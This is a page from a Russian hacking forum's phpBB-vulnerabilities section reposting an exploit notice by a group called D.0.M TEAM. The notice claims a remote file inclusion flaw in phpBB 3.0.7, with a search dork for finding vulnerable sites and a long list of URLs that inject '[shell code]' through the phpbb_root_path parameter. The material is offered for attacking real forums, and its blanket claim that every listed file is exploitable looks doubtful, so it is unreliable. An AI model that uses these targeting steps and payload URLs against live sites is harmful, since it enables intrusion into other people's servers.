Работает с любой XSS.

© antichat.ru

0

21

phpBB 3.0.7

Exploit:

Код:
######################################################################
#
# PHPBB Version 3.0.7 Remote File Include !
#
# Author : D.0.M TEAM
#
# Founded By : S3Ri0uS !
#
# We Are : Inj3ct0r.com Exploit and Vulnerability Database.
#
# Public Site : WwW.Anti-Secure.CoM !
#
# Security Site : WwW.D0M-Security.CoM !
#
# Contact 1 : S3Ri0uS.Blackhat@Gmail.CoM !
#
# Contact 2 : S3Ri0uS_Blackhat@Yahoo.CoM !
#
# SpT : All Iranian Hackers !
#
######################################################################
#
# Dork :
#
# inurl:&quot;powered by PHPBB Version 3.0.7&quot;
#
# Exploit :
#
# http://www.site.com/path/common.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/cron.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/faq.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/feed.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/index.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/mcp.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/memberlist.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/posting.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/report.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/search.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/style.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/ucp.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/viewforum.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/adm/index.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/adm/swatch.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/download/file.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/includes/auth.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/includes/functions.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/includes/functions_content.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/includes/session.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/includes/template.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/includes/acm/acm_file.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/includes/acp/acp_attachments.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/includes/utf/utf_tools.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/includes/ucp/ucp_register.php?phpbb_root_path=[shell code]
#
# http://www.site.com/path/includes/ucp/ucp_pm_viewmessage.php?phpbb_root_path=[shell code]
#
######################################################################

0


Вы здесь » Hack NET Portal » Сайты, форумы » Уязвимости phpBB


Рейтинг форумов | Создать форум бесплатно © 2007–2017 «QuadroSystems» LLC